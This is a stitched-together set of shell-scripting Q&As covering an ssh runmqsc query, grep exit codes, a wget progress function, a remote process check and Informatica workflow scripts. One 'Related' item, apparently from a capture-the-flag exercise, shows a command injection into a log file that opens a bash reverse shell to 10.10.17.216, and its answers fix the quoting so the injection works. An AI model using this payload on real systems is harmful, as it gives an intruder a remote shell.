SERVER="192.1.1.1"
QUEUE="QUSERV"
CHANNEL="CHN001"
COMMAND="display chstatus($CHANNEL) where(status eq RUNNING)"
RESULT=`ssh -n -i /home/admusr/.ssh/id_rsa -o ConnectTimeout=15 admusr#$SERVER "echo \"$COMMAND\" | /opt/mqm/bin/runmqsc $QUEUE | grep 'STATUS(RUNNING)' "`
echo $RESULT (comes blank)
Bash Script : the result is empty because the $QUEUE is assigned with "" when executing the script
Does anyone have some tip pls ?
This is the output for: ssh -n -i /home/admusr/.ssh/id_rsa -o ConnectTimeout=15 admusr#$SERVER "echo \"$COMMAND\" /opt/mqm/bin/runmqsc $QUEUE grep 'STATUS(RUNNING)' "
The output for above command is :
`grep STATUS(RUNNING)lay chstatus(QMBLUE1.QMRED1) where(status eq RUNNING)` /opt/mqm/bin/runmqsc QMBLUE1
Related
When attempting to create a reverse shell with the following code injection, I receive the error: bash: 1': ambiguous redirect:
echo “ ; /bin/bash -c ‘bash -i >& /dev/tcp/10.10.17.216/1234 0>&1’ #” >> hackers
The code to be executed is directed to the hackers file which, in turn, is called by this script:
#!/bin/bash
log=/home/kid/logs/hackers
cd /home/pwn/
cat $log | cut -d' ' -f3- | sort -u | while read ip; do
sh -c "nmap --top-ports 10 -oN recon/${ip}.nmap ${ip} 2>&1 >/dev/null" &
done
if [[ $(wc -l < $log) -gt 0 ]]; then echo -n > $log; fi
Try to add \" at the start and the end :
echo “\" ; /bin/bash -c ‘bash -i >& /dev/tcp/10.10.17.216/1234 0>&1’ #\"” >> hackers
This worked for me :
echo "\" HRI ; /bin/bash -c 'bash -i >& /dev/tcp/<ip>/<port> 0>&1' \"" >> hackers
Basic example:
#!/bin/bash
set -e
set -x
NUM_LINES=$(printf "Hello\nHi" | grep -c "How$")
echo "Number of lines: ${NUM_LINES}" # never prints 0
Output:
++ grep -c 'How$'
++ printf 'Hello\nHi'
+ NUM_LINES=0
If there are matches, it prints the correct number of lines. Also grep "How$" | wc -l works instead of using grep -c "How$".
You can suppress grep's exit code by running : when it "fails". : always succeeds.
NUM_LINES=$(printf "Hello\nHi" | grep -c "How$" || :)
I am learning to customize wget in a bash function and having trouble. I would like to display Downloading (file):% instead of the messy output of wget. The function below seems close I am having trouble calling it for my specific needs.
For example, my standard wget is:
cd 'C:\Users\cmccabe\Desktop\wget'
wget -O getCSV.txt http://xxx.xx.xxx.xxx/data/getCSV.csv
and that downloads the .csv as a .txt in the directory specified with all the messy wget output.
This function seems like it will do more-or-less what I need, but I can not seem to get it to function correctly using my data. Below is what I have tried. Thank you :).
#!/bin/bash
download() {
local url=$1 wget -O getCSV.txt http://xxx.xx.xxx.xxx/data/getCSV.csv
local destin=$2 'C:\Users\cmccabe\Desktop\wget'
echo -n " "
if [ "$destin" ]; then
wget --progress=dot "$url" -O "$destin" 2>&1 | grep --line-buffered "%" | \
sed -u -e "s,\.,,g" | awk '{printf("\b\b\b\b%4s", $2)}'
else
wget --progress=dot "$url" 2>&1 | grep --line-buffered "%" | \
sed -u -e "s,\.,,g" | awk '{printf("\b\b\b\b%4s", $2)}'
fi
echo -ne "\b\b\b\b"
echo " DONE"
}
EDITED CODE
#!/bin/bash
download () {
url=http://xxx.xx.xxx.xxx/data/getCSV.csv
destin='C:\Users\cmccabe\Desktop\wget'
echo -n " "
if [ "$destin" ]; then
wget -O getCSV.txt --progress=dot "$url" -O "$destin" 2>&1 | grep --line-buffered "%" | \
sed -u -e "s,\.,,g" | awk '{printf("\b\b\b\b%4s", $2)}'
else
wget -O getCSV.txt --progress=dot $url 2>&1 | grep --line-buffered "%" | \
sed -u -e "s,\.,,g" | awk '{printf("\b\b\b\b%4s", $2)}'
fi
echo -ne "\b\b\b\b"
echo " DONE"
menu
}
menu() {
while true
do
printf "\n Welcome to NGS menu (v1), please make a selection from the MENU \n
==================================\n\n
\t 1 Patient QC\n
==================================\n\n"
printf "\t Your choice: "; read menu_choice
case "$menu_choice" in
1) patient ;;
*) printf "\n Invalid choice."; sleep 2 ;;
esac
done
}
I am checking to see if a process on a remote server has been killed. The code I'm using is:
if [ `ssh -t -t -i id_dsa headless#remoteserver.com "ps -auxwww |grep pipeline| wc -l" | sed -e 's/^[ \t]*//'` -lt 3 ]
then
echo "PIPELINE STOPPED SUCCESSFULLY"
exit 0
else
echo "PIPELINE WAS NOT STOPPED SUCCESSFULLY"
exit 1
fi
However when I execute this I get:
: integer expression expected
PIPELINE WAS NOT STOPPED SUCCESSFULLY
1
The actual value returned is "1" with no whitespace. I checked that by:
vim <(ssh -t -t -i id_dsa headless#remoteserver.com "ps -auxwww |grep pipeline| wc -l" | sed -e 's/^[ \t]*//')
and then ":set list" which showed only the integer and a line feed as the returned value.
I'm at a loss here as to why this is not working.
If the output of the ssh command is truly just an integer preceded by optional tabs, then you shouldn't need the sed command; the shell will strip the leading and/or trailing whitespace as unnecessary before using it as an operand for the -lt operator.
if [ $(ssh -tti id_dsa headless#remoteserver.com "ps -auxwww | grep -c pipeline") -lt 3 ]; then
It is possible that result of the ssh is not the same when you run it manually as when it runs in the shell. You might try saving it in a variable so you can output it before testing it in your script:
result=$( ssh -tti id_dsa headless#remoteserver.com "ps -auxwww | grep -c pipeline" )
if [ $result -lt 3 ];
The return value you get is not entirely a digit. Maybe some shell-metacharacter/linefeed/whatever gets into your way here:
#!/bin/bash
var=$(ssh -t -t -i id_dsa headless#remoteserver.com "ps auxwww |grep -c pipeline")
echo $var
# just to prove my point here
# Remove all digits, and look wether there is a rest -> then its not integer
test -z "$var" -o -n "`echo $var | tr -d '[0-9]'`" && echo not-integer
# get out all the digits to use them for the arithmetic comparison
var2=$(grep -o "[0-9]" <<<"$var")
echo $var2
if [[ $var2 -lt 3 ]]
then
echo "PIPELINE STOPPED SUCCESSFULLY"
exit 0
else
echo "PIPELINE WAS NOT STOPPED SUCCESSFULLY"
exit 1
fi
As user mbratch noticed I was getting a "\r" in the returned value in addition to the expected "\n". So I changed my sed script so that it stripped out the "\r" instead of the whitespace (which chepner pointed out was unnecessary).
sed -e 's/\r*$//'
I am relatively new to shell scripting and UNIX. I am using a Solaris box and the problem is that
we have a shell script called strtwrfl.sh which takes a parameter as the workflow name and starts the workflow, e.g. ./strtwrfl.sh ABC where ABC is the workflow name.
I have to run over 200 of such workflows, each workflow is dependent on the successful completion of the previous workflow, i.e. if there are 2 workflows ABC and BCD, strtwrfl.sh BCD will be successful only if strtwrfl.sh ABC successfully executed.
Each workflow takes different time to execute successfully.
I have to write a single shell script such that those 200+ informatica workflows must (I dont mind manually entering those workflows into the script) execute one after another, and if one fails the script should halt displaying which workflow failed.
Since this is a production environment I will not be able to share strtwrfl.sh here.
I am not exactly sure I understand your question correctly, but if all you want to do is call a script numerous times in a row with a different parameter and die if an execution fails, you can do something like this:
meta_strtwrfl.sh:
#!/bin/sh
script="./strtwrt.sh"
workflows="
ABC
BCD
CDE
"
for workflow in ${workflows}; do
"${script}" "${workflow}" || { echo "$0: workflow '${workflow}' failed!"; exit 1; }
done
echo "$0: all workflows finished successfully!"
Change script="./strtwrt.sh" to reflect the path to your strtwrt.sh script and change workflows accordingly. I don't know which standard shell you have on your solaris system, so we don't use an array for the workflow variable, which means that your workflow names cannot have spaces in them this way.
Example runs:
$ ./meta_strtwrfl.sh
./meta_strtwrfl.sh: all workflows finished successfully!
$ ./meta_strtwrfl.sh
./meta_strtwrfl.sh: workflow 'ABC' failed!
Shouldnt this be really straightforward ... enter each of these entries on one row.. one after other..
./strtwrfl.sh ABC
./strtwrfl.sh ABC1
./strtwrfl.sh ABC2
..
..
..
and so on..
That would be bare bones..
You can then improvise this by putting in error handling..
or do you want to achieve something different ? which I am not able to catch from the question description ?
<<'notrequired'
wfrunid=`pmcmd getworkflowdetails -sv ${INTEG_SERVICE} -d ${DOMAIN} -u ${USER_NAME} -p ${PASSWORD} -usd ${USD} -f ${folder_name} -rin ${RUN_INSTANCE} ${workflow_name} | grep "Workflow run id" | awk -F"[" '{print $2}' | awk -F"]" '{print $1}'`
cur_wf_status=`pmcmd getworkflowdetails -sv ${INTEG_SERVICE} -d ${DOMAIN} -u ${USER_NAME} -p ${PASSWORD} -usd ${USD} -f ${folder_name} -rin ${RUN_INSTANCE} ${workflow_name} | grep "Workflow run status" | awk -F"[" '{print $2}' | awk -F"]" '{print $1}'`
if [ "${cur_wf_status}" == "Suspended" ]
then
echo "Workflow $workflow_name Status :${cur_wf_status}"
echo "Workflow $workflow_name Runid :${wfrunid}"
echo " "
echo "######################################## Running workflow in Re-START mode start ################################"
echo "#################################################################################################################"
echo "#################################################################################################################"
pmcmd recoverworkflow -sv ${INTEG_SERVICE} -d ${DOMAIN} -u ${USER_NAME} -p ${PASSWORD} -usd ${USD} -f ${folder_name} -paramfile ${param_file} -rin ${RUN_INSTANCE} -wfrunid ${wfrunid} ${workflow_name}
if [ $? -ne 0 ]
then
echo "################################################# END OF LOG ####################################################"
exit 1
fi
while (true)
do
rec_wf_status=`pmcmd getworkflowdetails -sv ${INTEG_SERVICE} -d ${DOMAIN} -u ${USER_NAME} -p ${PASSWORD} -usd ${USD} -f ${folder_name} -rin ${RUN_INSTANCE} ${workflow_name} | grep "Workflow run status" | awk -F"[" '{print $2}' | awk -F"]" '{print $1}'`
rec_wf_log_name=`pmcmd getworkflowdetails -sv ${INTEG_SERVICE} -d ${DOMAIN} -u ${USER_NAME} -p ${PASSWORD} -usd ${USD} -f ${folder_name} -rin ${RUN_INSTANCE} ${workflow_name} | grep "Workflow log file" | awk -F"[" '{print $2}' | awk -F"]" '{print $1}'`
case "${rec_wf_status}" in
("Suspended"|"Failed"|"Aborted"|"Stopped") sleep 10
rec_wf_error_start=`pmcmd getworkflowdetails -sv ${INTEG_SERVICE} -d ${DOMAIN} -u ${USER_NAME} -p ${PASSWORD} -usd ${USD} -f ${folder_name} -rin ${RUN_INSTANCE} ${workflow_name} | sed -n '/Workflow run error message: /=' | sed -n '$p' 2> /dev/null`
rec_w_error_end=`pmcmd getworkflowdetails -sv ${INTEG_SERVICE} -d ${DOMAIN} -usd ${USD} -u ${USER_NAME} -p ${PASSWORD} -f ${folder_name} -rin ${RUN_INSTANCE} ${workflow_name} | sed -n '/Start time: /=' | sed -n '$p' 2> /dev/null`
rec_wf_error_end=`expr $rec_w_error_end - 1 2>/dev/null`
rec_wf_error=`pmcmd getworkflowdetails -sv ${INTEG_SERVICE} -d ${DOMAIN} -usd ${USD} -u ${USER_NAME} -p ${PASSWORD} -f ${folder_name} -rin ${RUN_INSTANCE} ${workflow_name} | sed -n "$rec_wf_error_start,$rec_wf_error_end p" 2> /dev/null`
rec_task_name=`echo ${wf_error} | sed 's/\(^.*task instance\)\(.*\)\(].*$\)/\2/' | awk -F"[" '{print $2}' | awk -F"]" '{print $1}'`
rec_task_type=`pmcmd gettaskdetails -sv ${INTEG_SERVICE} -d ${DOMAIN} -u ${USER_NAME} -p ${PASSWORD} -usd ${USD} -f ${folder_name} -rin ${RUN_INSTANCE} -w ${workflow_name} ${rec_task_name} | grep "Task type:" | awk -F"[" '{print $2}' | awk -F"]" '{print $1}'`
rec_task_error_start=`pmcmd gettaskdetails -sv ${INTEG_SERVICE} -d ${DOMAIN} -usd ${USD} -u ${USER_NAME} -p ${PASSWORD} -f ${folder_name} -rin ${RUN_INSTANCE} -w ${workflow_name} ${rec_task_name} | sed -n '/Task run error message: /=' | sed -n '$p' 2>/dev/null`
rec_error_end=`pmcmd gettaskdetails -sv ${INTEG_SERVICE} -d ${DOMAIN} -usd ${USD} -u ${USER_NAME} -p ${PASSWORD} -f ${folder_name} -rin ${RUN_INSTANCE} -w ${workflow_name} ${rec_task_name} | sed -n '/Integration Service: /=' | sed -n '$p' 2>/dev/null`
rec_task_error_end=`expr $rec_error_end - 1 2> /dev/null`
rec_task_error=`pmcmd gettaskdetails -sv ${INTEG_SERVICE} -d ${DOMAIN} -usd ${USD} -u ${USER_NAME} -p ${PASSWORD} -f ${folder_name} -rin ${RUN_INSTANCE} -w ${workflow_name} ${rec_task_name} | sed -n "${rec_task_error_start},${rec_task_error_end} p" 2> /dev/null`
print_error=`echo "Task ${rec_task_name} Failed"`
case "${rec_task_type}" in
("Session") print_error=`echo "${rec_task_name} ${rec_task_error}"`
esac
esac
case "$rec_wf_status" in
"Suspended") echo " "
echo "Workflow Status : ${rec_wf_status}"
echo " "
echo "################################################ WORKFLOW ERROR #################################################"
echo " "
echo "WORKFLOW ${rec_wf_error}"
echo " "
echo "################################################# TASK ERROR ####################################################"
echo " "
echo "Task Type: ${rec_task_type}"
echo " "
echo "${print_error}"
echo " "
execution_stop_time=`date "+%d-%m-%Y-%T"`
echo "Execution Stop Time : $execution_stop_time"
echo " "
echo "################################################# END OF LOG ####################################################"
exit 1
;;
"Succeeded") echo " "
echo "Workflow Status : ${rec_wf_status}"
echo " "
echo "Workflow Run Successfully Completed"
echo " "
execution_stop_time=`date "+%d-%m-%Y-%T"`
echo "Execution Stop Time : $execution_stop_time"
echo " "
echo "################################################# END OF LOG ####################################################"
exit 0
;;
"Aborted") echo " "
echo "Workflow Status : ${rec_wf_status}"
echo " "
echo "################################################ WORKFLOW ERROR #################################################"
echo " "
echo "WORKFLOW ${rec_wf_error}"
echo " "
echo "################################################# TASK ERROR ####################################################"
echo "Task Type: ${rec_task_type}"
echo " "
echo " "
echo "${print_error}"
echo " "
execution_stop_time=`date "+%d-%m-%Y-%T"`
echo "Execution Stop Time : $execution_stop_time"
echo " "
echo "################################################# END OF LOG ####################################################"
exit 1
;;
"Failed") echo " "
echo "Workflow Status : ${rec_wf_status}"
echo " "
echo "################################################ WORKFLOW ERROR #################################################"
echo " "
echo "WORKFLOW ${rec_wf_error}"
echo " "
echo "################################################# TASK ERROR ####################################################"
echo "Task Type: ${rec_task_type}"
echo " "
echo " "
echo "${print_error}"
echo " "
execution_stop_time=`date "+%d-%m-%Y-%T"`
echo "Execution Stop Time : $execution_stop_time"
echo " "
echo "################################################# END OF LOG ####################################################"
exit 1
;;
"Stopped") echo " "
echo "Workflow Status : ${rec_wf_status}"
echo " "
echo "################################################ WORKFLOW ERROR #################################################"
echo " "
echo "WORKFLOW ${rec_wf_error}"
echo " "
echo "################################################# TASK ERROR ####################################################"
echo "Task Type: ${rec_task_type}"
echo " "
echo " "
echo "${print_error}"
echo " "
execution_stop_time=`date "+%d-%m-%Y-%T"`
echo "Execution Stop Time : $execution_stop_time"
echo " "
echo "################################################# END OF LOG ####################################################"
exit 1
;;
esac
done
else
notrequired